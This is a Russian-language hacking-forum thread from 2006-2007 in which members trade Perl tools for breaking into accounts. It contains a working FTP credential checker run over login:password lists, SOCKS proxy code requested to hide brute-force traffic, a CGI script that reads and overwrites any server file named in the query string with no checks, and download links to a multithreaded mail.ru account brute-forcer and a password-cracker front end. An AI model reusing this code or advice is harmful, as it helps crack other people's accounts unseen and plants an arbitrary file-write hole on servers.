perl script

Discussion in 'PHP' started by genom--, 27 Jul 2006.

  1. 0xff

    0xff New Member

    Joined:
    21 Mar 2006
    Messages:
    15
    Likes Received:
    2
    Reputations:
    0
    геном помоги написать брутер для ФТП ... такой же как для мыла у тебя... единственное что у меня не получаеться так это что бы все запросы ходили через прокси сервер... ну Или соксы ....
    ну и что бы рутинная работа выполнялась сама . такие как составления списка пользователей сервера на катором запускаеться скрипт.. ну если будет желание то моЖно попроБывать пассы считывать с удаленного сервера .. или что бы они сами грузили в процессе запуска. :) там первый прошел грузим второй ... загрузили второй начали Брут ... проБрутил ...удалил, грзуим другой и так пока не кончиться ... удобный инструмент получиться :) .... я думаю тебе по плечу такие ззадачи ... если не сможешь или не захочешь тогда отпиШись я не обиЖусь...
     
    #41 0xff, 25 Nov 2006
    Last edited: 25 Nov 2006
  2. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    так епт, это 20 строк кода...
     
  3. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    нехочу изобретать колесо --- поищи недано была тема про ftp брутер -- там был скрипт и там я еще дал линк на гуи брут

    тут http://forum.antichat.ru/thread27914.html
     
  4. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    чекер ftp -- frb хранятся в файле в виде
    1:login1:pass1
    2:login:pass2

    код -->

    #!usr/bin/perl

    use Net::FTP;

    $ftp = Net::FTP->new("genom.h10.ru", );

    open file,'<ftp.txt'; # файл в котром хранятся твои акаунты к ftp
    open goodd,'>good.txt';
    while($lol=<file>)
    {
    $lol=~s/\n//;
    ($cifra,$llogin,$pass)=split(/:/,$lol); # разбираем

    $ftp -> login($llogin,$pass) or goto(dava);
    print goodd "$lol\n";
    dava:
    }

    close(goodd);close(file);
     
  5. 0xff

    0xff New Member

    Joined:
    21 Mar 2006
    Messages:
    15
    Likes Received:
    2
    Reputations:
    0
    да лано тогда...раз некогда и время тратить не хотите ... тогда вопрос другой ... помогите разобраться хатябы с проксеГом ... непойму как мне эти все запросы через прокси транслировать ... непойму .. помоГите ...примерный код как и что долЖно ыбть можете поДкинуть... ?
     
  6. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    perl -MCPAN -e "install Net::Socks"
    perldoc Net::Socks
     
  7. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    пытался заделать через lwp он тоже конектится к ftp может

    my $req = HTTP::Request->new(GET => "ftp://$login:$password@$host:/");

    вообщем на такой зыпрос выдает bad hostname

    в доках модуля у них вот так написано
    $req = HTTP::Request->new(GET => 'ftp://me:пароль@ftp.some.where.com/');

    хз -- уже замучался --- советуйте
     
    #47 genom--, 29 Nov 2006
    Last edited: 29 Nov 2006
  8. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    попробуй protocols_allowed модифицировать в объекте
     
  9. 0xff

    0xff New Member

    Joined:
    21 Mar 2006
    Messages:
    15
    Likes Received:
    2
    Reputations:
    0
    нашел сегодня пример с соксами но для бта irc-шного.

    use Net::SOCKS;
    $server="80.252.130.250"; # IRC сервер
    $port="6667"; # IRC порт
    $socks="192.168.1.2"; # socks сервер
    $pport="1080"; # socks порт

    my $sock = Net::SOCKS->new(socks_addr => $socks,
    socks_port => $pport,
    user_id => 'the_user',
    user_password => 'the_password',
    force_nonanonymous => 1,
    protocol_version => 5);
    my $f= $sock->connect(peer_addr => $server, peer_port => $port);
    .......
    .....
    $sock->close();
    ---------------------------------------------------------------------

    можно и с соксами забабхать ...
    но и с проксей тож интересно будет посатреть.
    счас сяду кодить . незнаю что получиться но думаю должно получиться вродь руки растут от туда же откуда и у всех :)!
     
  10. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    не факт что с сокса будет конект к фтп -- хотя должен быть-- тока как передавать данные это вопрос
     
  11. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    вот писал cgi скрипт для редактирования файлов на серваке -- получилось прикольно решил выложить --- вообщем в форме указываем имя файла и засылаем его с помощью get -- пример формы (вставлять в любой html файл =) )

    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>
    Редактировать файл:
    <form method="get" action="edit.cgi" ><input type="text" name="file" value="index.html" size="50"><br>
    <input type="submit" value="Редактировать"> </form>
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>



    вот код самого скрипта -- получилось приколно -- что если вы указали имя файла которого нет -- то выдает пустой контент -- и если ввести данные и нажать сохранить то создастся новый файл -- таким образом решается и проблема загрузки текстовых файлов на сервер -- мона новый создать и туда вставить =)

    вот код самого скрипта


    #!/usr/bin/perl

    use CGI;

    print "Content-type: text/html\n\n<b><body text=\"darkgreen\" bgcolor=\"#000000\" link=\"green\"alink=\"green\" vlink=\"green\"><br><br>";


    read(STDIN, $data, $ENV{'CONTENT_LENGTH'});
    $buf=$ENV{'QUERY_STRING'};

    if (length($data)==0){
    $buf=~s/file=//eg;
    print"<center>Редактирование файла-->$buf<br><br></center>";open fyll,"$buf";
    @sors=<fyll>;close(fyll);
    print"<center><form method=\"post\" action=\"\"><textarea class=\"input\" id=text cols=70 rows=12 name=\"newsors\" >@sors</textarea><br><br><input type=\"submit\" value=\"....Сохранить....\" ></form><center><br><br><br><br><br><br>если в окне содержания нет текста то либо этот файл пустой либо его не существует -- нажатие кнопки сохранить приведет к созданию нового файла";}
    else{$data=~tr/+/ /;
    $data=~s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
    $data=~s/newsors=//eg;
    $buf=~s/file=//eg;
    open fyll,">$buf";
    print fyll "$data";
    close(fyll);
    print'<br><br>Изменения сохранены успешно<br><br><a href="index.html">Назад</a>';
    }
     
  12. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Code:
    ...[a-f0-9]{2}/pack('C', hex($1))/ieg;
    И зачем тут нужно use CGI ?
     
    #52 KSURi, 17 Dec 2006
    Last edited: 17 Dec 2006
  13. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    потомучто это cgi скрипт в веб интерфейсом
     
  14. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Но ты не юзаешь никакие функции модуля => он те не нужен. С cgi можно спокойно работать и без этого модуля.
     
  15. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    по приколу попробовал убрать да --почти все пашет -- но ввозникает бага при сохранениия файла -- ну да х с ней -- одна строчка роли не сыграет
     
    1 person likes this.
  16. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    последний релиз новая версия брутера для mail.ru -- добавил многопоточность --скорость брута возросла =)

    скачать тут http://www.genom.h10.ru/1111.rar
     
  17. 0xff

    0xff New Member

    Joined:
    21 Mar 2006
    Messages:
    15
    Likes Received:
    2
    Reputations:
    0
    проксеги Юзает ?
    При всей его многопоточности майл просто банит хост после несколькиз неудачных попыток ...
     
    #57 0xff, 29 Jan 2007
    Last edited: 29 Jan 2007
  18. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    фига ты попробуй потом говори кто и что банит
     
  19. ~GroM~

    ~GroM~ New Member

    Joined:
    13 Jan 2007
    Messages:
    27
    Likes Received:
    3
    Reputations:
    2
    работае там на все 100 и не надо говорить что банит. Ламье
     
  20. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    сазу оговорюсь --- писал лично для себя так что свои претензии можете оставить себе =)

    вообщем вот архивчик я там накропал gui интерфейс для john the riper -- а то иногда запаривает набивать в консоли + кинул доку для нубов что вообще надо набирать в той самой консоли --- у меня джон был под винду такчто имя его в скрипте john-386.exe если будете юзать под unix то поменяйте имя или ексешки или подправьте скрипт

    всем удачи

    http://www.genom.h10.ru/john.rar